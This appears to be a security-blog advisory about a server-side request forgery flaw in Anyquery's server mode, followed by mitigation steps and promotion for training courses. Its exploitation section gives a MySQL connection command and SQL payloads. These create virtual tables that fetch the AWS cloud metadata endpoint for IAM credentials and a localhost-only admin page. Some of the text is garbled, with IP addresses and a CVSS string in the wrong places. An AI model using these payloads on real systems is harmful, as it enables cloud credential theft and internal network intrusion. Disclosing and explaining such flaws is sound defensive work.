Listen to this Post
How CVE-2026-54628 Works
Anyquery is an SQL query engine built on top of SQLite that allows users to query various data sources using SQL syntax. When launched in Server Mode via the `anyquery server` command, it binds to a TCP port and accepts MySQL protocol connections from remote clients. The server handler permits the creation of dynamic virtual tables using built-in modules such as `json_reader` and log_reader. These modules internally rely on `go-getter` to fetch remote resources over HTTP.
The core vulnerability lies in the absence of any outbound request restrictions. There is no protection mechanism to prevent the server from fetching URLs pointing to local (127.0.0.0/8), private (10.0.0.0/8), or cloud metadata (169.254.169.254) IP addresses. An unauthenticated attacker who can connect to the exposed MySQL port can craft SQL statements that create virtual tables using these modules. By pointing the module’s URL parameter to an internal endpoint or a cloud metadata service, the attacker forces the Anyquery server to make an outbound HTTP request to that target.
This behavior enables Server-Side Request Forgery (SSRF). An attacker can scan internal network ports, interact with internal APIs, and most critically, steal IAM tokens from cloud metadata servers (e.g., AWS at `http://169.254.169.254/latest/meta-data/`) by fetching the data and reading it as a database table. The attack requires no authentication and can be executed remotely, making it a critical security risk.
DailyCVE Form
Platform: Anyquery
Version: < 0.4.5
Vulnerability: SSRF
Severity: High (8.6)
Date: 2026-07-14
Prediction: 2026-07-21
What Undercode Say: Analytics
The following commands and SQL payloads demonstrate the exploitation of CVE-2026-54628.
Start the vulnerable server on the victim machine (e.g., an AWS EC2 instance):
anyquery server --host 0.0.0.0 --port 8070
Connect from an attacker machine:
mysql -u root -h <VICTIM_IP> -P 8070
Execute the payload to fetch AWS Metadata (IAM credentials):
-- Payload 1: Fetch AWS Cloud Metadata (IAM credentials)
CREATE VIRTUAL TABLE aws_meta USING log_reader('http://169.254.169.254/latest/meta-data/');
SELECT FROM aws_meta;
Payload to access an internal application bound only to localhost:
-- Payload 2: Access an internal application bound only to localhost
CREATE VIRTUAL TABLE local_admin USING log_reader('http://localhost:8000/admin');
SELECT FROM local_admin LIMIT 10;
Exploit
An unauthenticated attacker can exploit this vulnerability by connecting to the Anyquery server’s MySQL port and executing `CREATE VIRTUAL TABLEstatements with `json_reader` or `log_reader` modules. The URL parameter in these statements is used to fetch data, and because no filtering is applied, the server will issue GET requests to any provided address. This allows the attacker to:169.254.169.254
- Scan internal networks by attempting connections to various IP addresses and ports.
- Interact with internal APIs that are not exposed to the public internet.
- Exfiltrate cloud credentials by targeting the instance metadata service (IMDS) at.127.0.0.0/8
The attacker can retrieve the metadata response and view it as a table in the SQL query results, effectively exfiltrating sensitive data such as IAM security credentials.
<h2 style="color: blue;">Protection</h2>
<h2 style="color: blue;">To mitigate CVE-2026-54628, the following measures are recommended:</h2>
- Default Blocking: In Server Mode, configure Anyquery to block remote HTTP fetches to local/private IP ranges (e.g.,,10.0.0.0/8) and known Cloud Metadata IP addresses (e.g.,169.254.169.254) by default.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`.
- Explicit Allowlist: Only permit outbound HTTP requests to explicitly allowed external endpoints via a configuration setting.
- Network Controls: Implement firewall rules or network ACLs on the Anyquery server host to block outbound traffic to private IP ranges and the cloud metadata IP, providing a defense-in-depth layer.
- Upgrade: Upgrade to a patched version of Anyquery once it becomes available.
<h2 style="color: blue;">Impact</h2>
- Confidentiality: High. Successful exploitation leads to the exfiltration of sensitive internal network data or cloud IAM credentials.
- Integrity: Low. An attacker might interact with state-changing internal REST APIs, potentially modifying data.
- Availability: None. The vulnerability does not directly impact the availability of the service.
- CVSS Score: 8.6 (High) -
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

